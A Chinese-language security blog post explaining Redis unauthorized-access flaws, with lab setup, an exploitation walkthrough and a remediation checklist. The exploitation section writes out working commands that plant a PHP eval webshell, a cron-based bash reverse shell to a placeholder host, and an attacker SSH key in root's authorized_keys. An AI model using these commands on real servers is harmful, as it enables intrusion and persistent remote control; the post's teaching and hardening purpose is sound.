浅析Redis未授权

发布于 2021-08-06  73 次阅读


什么是未授权访问

未授权访问漏洞可以理解为需要安全配置或者权限认证的地址,授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作,数据库或网站目录等敏感信息的泄露。

如何发现未授权访问漏洞

  • 端口:使用nmap进行特征端口扫描进行发现
    • Redis默认是6379端口
    • MongoDB默认是27017端口
    • Memcached默认是11211端口
    • Jboos默认是8080端口
    • VNC默认是5900、5901端口
    • Docker默认是2375端口

什么是Redis

Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。

Redis 与其他 key - value 缓存产品有以下三个特点:

  • Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
  • Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
  • Redis支持数据的备份,即master-slave模式的数据备份。
  • Redis有着更为复杂的数据结构并且提供对他们的原子性操作,这是一个不同于其他数据库的进化路径。Redis的数据类型都是基于基本数据结构的同时对程序员透明,无需进行额外的抽象。
  • Redis运行在内存中但是可以持久化到磁盘,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。在内存数据库方面的另一个优点是,相比在磁盘上相同的复杂的数据结构,在内存中操作起来非常简单,这样Redis可以做很多内部复杂性很强的事情。同时,在磁盘格式方面他们是紧凑的以追加的方式产生的,因为他们并不需要进行随机访问。

Redis在JAVA WEB应用场景

  • 存储、缓存用的数据
  • 需要告诉读(写)的场合使用它快速进行读(写)

Redis常用命令

set testkey "Hello World" # 设置键testkey的值为字符串hello world
get testkey # 获取键testkey的内容
set score 99 # 设置一个键score的值为99
INCR score # 使用INCR命令将score的值增加1
keys * # 列出当前数据库中所有的键
get anptherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir(dafilename) # 检查工作目录(备份文件名)是否设置成功
save # 进行一次备份
flushall # 删除所有数据
del key # 删除键为key的数据

Redis历史漏洞

Redis未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有的数据,攻击者还可用过Eval执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登陆服务器。

Redis主从复制RCE

在Redis 4. x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

Redis漏洞环境的搭建

Linux:
wget http://download.redis.io/releases/redis-6.0.3.tar.gz # 下载redis
tar -zxvf redis-6.0.3.tar.gz # 解压当前文件
cd redis-6.0.3/
make # 对文件进行编译
cd src/
cp redis-cli /usr/bin # 客户端连接程序
./redis-server & # 启动redis
windows:
https://github.com/tporadowski/redis/releases # 下载redis
解压之后在当前目录打开cmd
redis-server.exe redis.windows.conf # 启动redis

Redis漏洞利用

未授权访问(写入webshell)

# 利用前提 未授权访问,并且启用web服务知道绝对路径
redis-cli.exe -h xxx.xxx.xxx.xxx -p 6379 # 连接redis
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save

未授权访问(写入反弹shell)

redis-cli.exe -h xxx.xxx.xxx.xxx -p 6379 # 连接redis
set xxx"\n\n*/****/bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1\n\n"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save

未授权访问(写入公钥)

ssh-keygen -t rsa # 生成rsa加密之后的公钥,默认情况下,生成后在用户的家目录下的.ssh目录下
(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h xxx.xxx.xxx.xxx -p 6379 -x set crackit
redis-cli -h xxx.xxx.xxx.xxx -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
ssh root@xxx.xxx.xxx.xxx -p (ssh 端口) -i ~/.ssh/id_rsa

未授权访问(主从复制RCE)

主要出现在redis 4.x 这里是工具地址,里面有详细使用方法

Redis未授权漏洞的修复

禁止高危命令

  • 修改redis.conf文件,禁用远程修改DB文件地址
    1. rename-command FLUSHALL “”
    2. rename-command CONFIG “”
    3. rename-command EVAL “”
  • 或者修改redis.conf文件,改变高危命令的名称
    1. rename-command FLUSHALL “name1”
    2. rename-command CONFIG “name2”
    3. rename-command EVAL “name3”

以低权限运行Redis服务

  • 为Redis服务创建单独的用户和家目录,并且配置禁止登陆groupadd -r redis && useradd -r -s redis redis

为Redis添加密码验证

  • 修改redis.comf文件,添加requirepass mypassword(注意redis不要使用-a参数,明文输入密码,连接后使用auth认证)

禁止外网访问Redis

  • 修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用bind 127.0.0.1在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

修改默认端口

  • 修改redis.conf文件,端口将6379,改为其他端口

保证 authorized_keys 文件的安全

  • 为了保证安全,您应该阻止其他用户添加新的公钥
    • 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限

设置防火墙策略

  • 如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务